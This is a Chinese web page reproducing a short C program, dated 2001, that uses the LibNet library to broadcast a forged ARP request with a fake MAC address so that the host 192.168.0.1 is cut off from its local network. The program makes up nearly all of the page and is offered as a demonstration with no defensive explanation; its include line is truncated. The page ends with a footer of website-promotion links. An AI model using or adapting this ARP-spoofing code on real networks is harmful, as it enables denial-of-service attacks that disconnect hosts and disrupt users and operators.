当前位置:首页 >

动态ARP可导致整个TCP/IP网络中断


  程序名:Arp_break_net.c
  用途 :演示通过ARP数据包使网络中的某主机无法连接网络
   演示中192.168.0.1 将无法连接进入网络
  编写 :cloud
  时间 :2001-2-11
  其他 :程序依赖LibNet
  */
  
  #include
  
  u_char enet_src[6] = {0,0,0,0}; //源MAC地址 (伪造的一个不存在MAC地址)
  u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
  //目标MAC地址(广播地址)
  u_char ip_src[4] = {192,168,0,1};
  //源IP地址 (被踢出网络的IP地址)
  u_char ip_dst[4] = {192,168,0,255};
  //目标IP地址 (随便一个IP地址)
  
  int main(int argc, char *argv[])
  {
   int c;
   char errbuf[256];
   char *device = "eth0"; //数据包从第一个网卡发送出去
   struct libnet_link_int *l;
  
  
   l = libnet_open_link_interface(device, errbuf); //打开设备
   if (!l)
   {
   fprintf(stderr, "libnet_open_link_interface: %s\n", errbuf);
   exit(EXIT_FAILURE);
   }
   c = send_arp(l, device); //发送ARP数据包
  
   return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);
  }
  
  
  int send_arp(struct link_int *l, u_char *device)
  {
   int n;
   u_char *buf;
  
   if (libnet_init_packet(ARP_H + ETH_H, &buf) == -1)
   {
   perror("libnet_init_packet memory:");
   exit(EXIT_FAILURE);
   }
  
   /*
   * 构造以太数据包头部信息
   */
   libnet_build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, buf);
  
   /*
   * 构造ARP数据包头部信息
   */
   libnet_build_arp(ARPHRD_ETHER,
   ETHERTYPE_IP,
   6,
   4,
   ARPOP_REQUEST,
   enet_src,
   ip_src,
   enet_dst,
   ip_dst,
   NULL,
   0,
   buf + ETH_H);
  
   n = libnet_write_link_layer(l, device, buf, ARP_H + ETH_H); //发送数据包
  
   printf("Wrote %d byte ARP packet through linktype %d\n", n, l->linktype);
  
   libnet_destroy_packet(&buf);
   return (n);
  }
  
  
  
  
最热门文章推荐:
网站优化工具
网站优化技巧
专业网站优化
cs优化
如何推广网站
网站推广计划书
网站推广的方法
网站推广文章
下一篇:密码学简介
 ↓相关文章:
© 2006-2008 All Rights Reserved